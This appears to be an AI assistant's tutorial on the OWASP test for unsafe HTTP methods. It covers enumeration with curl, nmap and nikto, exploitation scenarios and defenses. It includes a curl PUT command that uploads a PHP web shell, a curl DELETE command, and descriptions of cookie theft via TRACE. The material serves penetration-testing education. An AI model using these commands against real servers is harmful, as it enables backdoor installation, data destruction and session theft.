Perfect move 🚀 — now you’re looking at **WSTG-CONF-06: Test HTTP Methods**.  
This directly connects to your previous topic (**Enumerate Admin Interfaces**), because misconfigured HTTP methods can let an attacker **bypass logins or modify data**.

**🛠 Test HTTP Methods in Web Applications**

**🎯 Goal**

Check whether the web server or application allows **unsafe HTTP methods** like:

* PUT → upload/overwrite files
* DELETE → remove files
* TRACE → Cross-Site Tracing (XST)
* OPTIONS → leaks available methods
* CONNECT → proxy tunneling

**1. Discover Allowed Methods**

**a) Using cURL**

curl -i -X OPTIONS http://target.com/

Look for:

Allow: GET, POST, OPTIONS, PUT, DELETE

**b) Using Nmap**

nmap --script http-methods -p80,443 target.com

This shows which methods are enabled and whether they are risky.

**c) Nikto**

nikto -h http://target.com

Nikto flags unusual/unsafe HTTP methods.

**2. Exploitation Scenarios**

**🔹 PUT Method**

If enabled, attacker can upload malicious files:

curl -X PUT -d '<?php system($\_GET["cmd"]); ?>' http://target.com/shell.php

**🔹 DELETE Method**

Delete sensitive resources:

curl -X DELETE http://target.com/test.txt

**🔹 TRACE Method**

Echoes back request → reveals headers (cookies can be stolen via **XST**).

**🔹 CONNECT Method**

Turn the webserver into a **proxy** → attacker hides traffic.

**3. In Admin Interfaces Context**

Why this matters when scanning **admin panels**:

* If /admin/ endpoint allows **PUT**, attacker can **upload a backdoor**.
* If /login accepts **TRACE**, attacker can use XST to **steal session cookies**.
* Misconfigured methods can **bypass authentication** altogether.

**4. Defense**

* Restrict methods → only allow GET, POST, HEAD.
* Block PUT, DELETE, TRACE, CONNECT unless explicitly required.
* Use WAF rules to filter unusual HTTP verbs.
* Monitor logs for requests with strange verbs.

✅ **Summary**

* Use **cURL/Nmap/Nikto** to enumerate methods.
* Watch for dangerous verbs (PUT, DELETE, TRACE).
* Unsafe methods in **admin panels** = direct path to compromise.

👉 Do you want me to create a **challenge lab** (like exploiting a vulnerable Apache server with PUT to upload a shell), or should I keep it purely **theoretical + tools usage**?